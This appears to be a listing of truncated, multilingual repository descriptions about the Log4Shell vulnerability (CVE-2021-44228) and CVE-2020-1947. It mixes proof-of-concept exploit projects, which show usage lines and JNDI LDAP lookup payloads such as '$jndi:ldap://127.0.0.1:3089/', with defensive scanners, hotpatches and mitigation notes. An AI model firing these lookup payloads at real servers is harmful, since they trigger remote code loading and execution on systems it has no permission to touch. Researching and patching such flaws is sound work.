CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

Microsoft-Defender-for-Endpoint-Deployment-on-Windows-10-11-device

Questo repository documenta la distribuzione di Microsoft Defender for Endpoint su un dispositivo Windows 11, inclusa l'onboarding tramite script locale, l'abilitazione dell'individuazione dei dispositivi, la configurazione del rilevamento Log4j2 CVE-2021-44228 e la convalida dei flussi di lavoro...

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 — Log4Shell: Esecuzione di codice remota in Apache Log4j2 CVSS 10.0 CRITICA | CWE-502: Deserializzazione di dati non attendibili | CWE-917: Neutralizzazione impropria per l'iniezione di Expression Language Panoramica Log4Shell CVE-2021-44228 è probabilmente la vulnerabilità più gra...

log4j2-hack-springboot

log4j2-hack-springboot...

CVE-2021-44228

Análise do CVE-2021-44228 Como funciona? Abaixo está um processo detalhado de um caso de injeção remota explorando a vulnerabilidade log4shell. Primeiro, há 3 partes que precisamos conhecer: 1. O Log4j2 permite o registro de dados usando um recurso chamado substituição de lookup de mensagem , ond...

log4j-poc

log4j-poc PoC von log4j2 CVE-2021-44228...

cve-2021-44228-log4j-exploits

Riproduzione di CVE-2021-4428 Questa DEMO è una riproduzione della vulnerabilità RCE ad altissimo rischio Log4j2 CVE-2021-4428, con lo scopo di comprendere la pericolosità di questa vulnerabilità e di adottare difese mirate in base alla situazione del vostro sistema. Avvertenza Questa DEMO è...

Log4j-Rec-CVE-2021-44228

Notas de reprodução do Log4j2, apenas para aprendizado Referência: https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce Criar arquivo executável root@kitploit: com/example/template javac Log4jRCE.java Iniciar servidor HTTP do Python root@kitploit: com/example/template python -m...

log4j2-CVE-2021-44228-poc-local

log4j2-CVE-2021-44228-poc-local Solo una prova di concetto personale di CVE-2021-44228 su log4j2...

log4j2_dos_exploit

Descrizione about author: 我超怕的 blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 Exploit DoS log4j2 Script di exploit DoS per log4j2 Exploit CVE-2021-45105 Script di exploit per CVE-2021-45105 Utilizzo how to use Inglese： root@kitploit: Log4j2dos....

log4j2

log4j2 questa è una demo di attacco jmi a log4j2, ispirata da link...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Prova di Concetto Le funzionalità JNDI di Apache Log4j2 =2.14.1 utilizzate nella configurazione, nei messaggi di log e nei parametri non proteggono contro endpoint LDAP controllati dall'attaccante e altri endpoint correlati a JNDI. Un attaccante che può controllare i...

hotpatch-for-apache-log4j2

Log4jHotPatch Dies ist ein Tool, das einen Java-Agenten in einen laufenden JVM-Prozess injiziert. Der Agent versucht, die lookup-Methode aller geladenen org.apache.logging.log4j.core.lookup.JndiLookup-Instanzen zu patchen, sodass sie bedingungslos den String "Patched JndiLookup::lookup" zurückgib...

CVE-2021-44228

CVE-2021-44228 PoC Log4Shell ⚠️ अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और नियंत्रित परीक्षण वातावरण के लिए है। बिना स्पष्ट अनुमति के सिस्टम के खिलाफ इसका उपयोग करना अवैध है और पूरी तरह से उपयोगकर्ता की जिम्मेदारी है। 📌 विवरण इस परियोजना में Apache Log4j2 CVE-2021-44228 भेद्यत...

Log4j_CVE-2021-44228

Log4j CVE-2021-44228 Soluzioni Pensa se hai effettivamente bisogno di Log4j2 Core. Molto probabilmente, il tuo codice o qualche libreria di terze parti da cui dipendi ha bisogno solo della facciata dell'API di Log4j - ma può loggare su un altro back-end. Pertanto, potresti semplicemente escludere...

log4j2-rce-poc

إثبات مفهوم ثغرة تنفيذ الأوامر عن بعد في Log4j2 إثبات مفهوم بسيط لثغرة تنفيذ الأوامر عن بعد عبر JNDI في Log4j2 CVE-2021-44228. هذا مخصص للأغراض التعليمية لمساعدة الأشخاص غير المتخصصين في أمن المعلومات على فهم كيفية عملها ومدى تأثيرها. يتجاوز هذا الإثبات شرط تعيين الخصائص...

log4j2burpscanner

SOLO PER TEST, NON ATTACCARE NESSUNO SOLO PER TEST, NON ATTACCARE NESSUNO SOLO PER TEST, NON ATTACCARE NESSUNO Gruppo di discussione Se il QR code non è più valido, aggiungi su WeChat f-f0ng, con nota log4j2burpscanner comunicazione Segui l'account ufficiale della pagina principale only security,...

log4j2-issue-check

Valutare la vulnerabilità Log4Shell: RCE 0-day Questo repository contiene il codice per valutare il problema Log4j2 CVE-2021-44228 Ulteriori dettagli https://www.lunasec.io/docs/blog/log4j-zero-day/ Come testare Invia una richiesta GET con il parametro query come $jndi:ldap://127.0.0.1:3089/...

CVE-2021-44228-Demo

CVE-2021-44228-Demo यह परियोजना zero-day log4j exploit को साबित करने और परीक्षण करने के लिए है। निर्भरता सत्यापित करें ./mvnw dependency:list patch A सेट करें ENV LOG4JFORMATMSGNOLOOKUPS=true B जोड़ें vm option -Dlog4j2.formatMsgNoLookups=true C.1 जोड़ें properties log4j2.formatMsgNoLookups=true...

checkmk-log4j-scanner

checkmk Erweiterung zur Überprüfung auf log4j2 CVE-2021-44228 Dieses Plugin kapselt logpresso/CVE-2021-44228-Scanner Apache License 2.0 Wie es funktioniert Ausführung in 5 Schritten: 1. Finde alle .jar-, .war-, .ear- und .aar-Dateien rekursiv. 2. Finde den Eintrag...